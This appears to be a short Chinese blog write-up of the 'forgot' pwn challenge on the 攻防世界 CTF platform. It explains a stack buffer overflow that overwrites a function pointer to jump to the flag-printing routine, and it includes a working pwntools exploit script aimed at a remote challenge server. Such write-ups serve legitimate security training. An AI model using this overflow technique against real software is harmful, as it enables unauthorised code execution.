首页 > 技术文章 > [攻防世界]forgot

lxy8584099 2019-11-18 16:09 原文

代码最后调用了v3为基础,v14+1为偏移的地址的函数

而v14=1 如果一次都没有通过判断的话就直接调用v3地址的函数

然后发现v2可以溢出,并且可以覆盖掉v3

所以我们把v3覆盖为sub_80486CC的地址(此处输出flag)

之后要解决的就是不让v14改变

直接让第一个判断函数不通过即可

'\x47'就可以不通过

from pwn import *

# io=process('./forgot')
io=remote('111.198.29.45',41178)

io.sendline('fuck')
addr=0x80486CC
payload='\x47'*(0x20)+p32(addr)
io.sendline(payload)

io.interactive()
# i am a pig

 

推荐阅读